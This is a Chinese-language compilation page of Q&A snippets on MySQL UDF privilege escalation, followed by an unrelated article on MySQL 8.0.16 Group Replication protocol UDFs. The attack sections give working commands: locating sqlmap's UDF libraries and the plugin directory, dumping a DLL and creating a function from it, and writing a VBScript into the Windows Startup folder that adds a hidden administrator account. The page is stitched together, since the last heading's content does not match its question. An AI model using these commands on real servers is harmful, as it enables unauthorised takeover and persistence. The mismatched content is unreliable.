本文目錄一覽:
- 1、MYSQL提權(LINUX)
- 2、怎麼在Windows下的MYSQL網站利用UDF.dll提權?
- 3、linux mysql udf提權漏洞怎麼辦
- 4、windows 2008 怎麼利用mysql提權
- 5、mysql udf函數怎麼調用
MYSQL提權(LINUX)
select @@global.secure_file_priv;
查看MySQL服務器的文件讀寫權限
如果是NULL就是完全禁止
udf提權用到的so文件(linux)在kali下默認集成,路徑為 /usr/share/sqlmap/udf/mysql/linux/64(32)
或者 searchsploit mysql udf
把對應的內容編譯出來
mysql創建函數命令
怎麼在Windows下的MYSQL網站利用UDF.dll提權?
udf.dll提權在MySQL版本大於5.0會有很多限制,因為導出udf.dll目錄到winnt目錄已經不行。好在還有方法, ,t00ls轉載的,udf.dll失敗時可以考慮試試^_^
linux mysql udf提權漏洞怎麼辦
在mysql庫下必須有func表,並且在‑‑skip‑grant‑tables開啟的情況下,UDF會被禁止;
過程: 得到插件庫路徑 找對應操作系統的udf庫文件 利用udf庫文件加載函數並執行命令
1,得到插件庫路徑
?
1
2
3
4
5
6
7
mysql show variables like “%plugin%”;
+—————+———————–+
| Variable_name | Value |
+—————+———————–+
| plugin_dir | /usr/lib/mysql/plugin |
+—————+———————–+
1 row in set (0.00 sec)
2,找對應操作系統的udf庫文件
因為自己測試,看了下自己系統的版本,64位
?
1
2
root@bt:~# uname -a
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux
對於udf文件,在sqlmap工具中自帶就有,只要找對應操作系統的版本即可
?
1
2
3
4
5
6
root@bt:/pentest/database/sqlmap/udf/mysql# ls
linux windows
root@bt:/pentest/database/sqlmap/udf/mysql/linux# ls
32 64
root@bt:/pentest/database/sqlmap/udf/mysql/linux/64# ls
lib_mysqludf_sys.so
3,利用udf庫文件加載函數並執行命令
首先要得到udf庫文件的十六進制格式,可在本地通過
windows 2008 怎麼利用mysql提權
mysql 5.1版本以上,必須把udf文件放到mysql安裝目錄下的lib/plugin下才能創建自定義函數,mysql into dumpfile並不能創建文件夾,所以mysql 5.1以上的版本,root權限提權就很困難了,目前已有的方法只有寫啟動項如下:
create table a (cmd text);
insert into a values (“set wshshell=createobject (“”wscript.shell”” ) ” );
insert into a values (“a=wshshell.run (“”cmd.exe /c net user 007hack.com qwer1234!@#$qwe /add””,0) ” );
insert into a values (“b=wshshell.run (“”cmd.exe /c net localgroup Administrators 007hack.com /add””,0) ” );
windows 2008啟動項:
C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs
select * from a into outfile “C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs”;
寫啟動項缺陷:
1、需要服務器重啟(如果管理員3389遠程桌面登陸時註銷了用戶,再次3389連接時,這個腳本就會運行,添加一個管理員,不需要重啟)。
2、安全軟件可能會攔截。
補充:
如果mysql小於5.1是root權限,windows 2008一樣可以拿到系統權限(mysql無降權處理)
1、mysql導出一個dll
SELECT udf FROM 007hack_tab INTO DUMPFILE ‘c:/007hack.dll
//udf內容網上早有公開
2、創建一個函數
create function myconnect returns integer soname ‘c:\\007hack.dll
//c盤要可以寫,注意是」\\」
3、調用這個函數
select myconnect(‘”.$chost.”‘,'”.$cport.”‘)
//這只是一個例子
mysql udf函數怎麼調用
背景
在上一篇推文中,我們介紹了 MySQL Group Replication 8.0.16 支持信息碎片化功能來增強大型事務處理能力。
如果您想在組複製中使用該功能,則任何組成員的版本都不能低於 8.0.16!
簡單地說就是由於低版本協議上不支持。MySQL 8.0.16 的組通訊開始支持新協議,簡稱「分段協議」,之前的版本中只有一種「壓縮協議」。
如果多個成員想加入複製組,那麼在協議匹配上遵循以下原則:
現有複製組成員和新加入成員版本相同,加入成功。
低版本成員想加入高版本的組會被驅逐,加入失敗。
高版本的成員想加入低版本的組,單獨加入成功,多個加入失敗。
例如:
一個 MySQL Server 8.0.16 實例可以成功加入使用通信協議版本 5.7.24 的組。
一個 MySQL Server 5.7.24 實例無法成功加入使用通信協議版本 8.0.16 的組。
兩個 MySQL Server 8.0.16 實例無法同時加入使用通信協議版本 5.7.24 的組。
兩個 MySQL Server 8.0.16 實例可以同時加入使用通信協議版本 8.0.16 的組。
新增 UDF
為了能讓高版本的複製組更便於加入低版本的成員,MySQL 8.0.16 新增兩個 UDF。
您可以使用兩個新的 UDF 命令去管理組通信協議:
1. group_replication_set_communication_protocol(new_protocol)
設置組複製通訊協議版本
SELECT group_replication_set_communication_protocol(“8.0.15”);
填入一個所有成員都支持的版本號,即:new_protocol ≤ 所有成員的 MySQL版本。
new_protocol 格式:major.minor.patch (主版本號.次版本號.發佈版本號)例如:8.0.15。
2. group_replication_get_communication_protocol()
獲取複製中最舊成員的 MySQL 版本號
SELECT group_replication_get_communication_protocol(); +————————————————+ | group_replication_get_communication_protocol() | +————————————————+ | 5.7.14 | +————————————————+
獲取的版本號可能與設置的值不一致,但不一致的版本之間組複製協議是一樣的。
返回結果格式:major.minor.patch (主版本號.次版本號.發佈版本號)例如:8.0.15。
以上兩個 UDF 對全部組成員有效,主機或從機上均可執行。
結論
若想使用信息碎片功能。建議將組複製成員全部升級為 8.0.16。
若組內成員版本僅有部分為 8.0.16,可以用兩個新的函數來讓高版本的成員保持與其它成員組協議一致。
請點擊輸入圖片描述
原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-hk/n/228763.html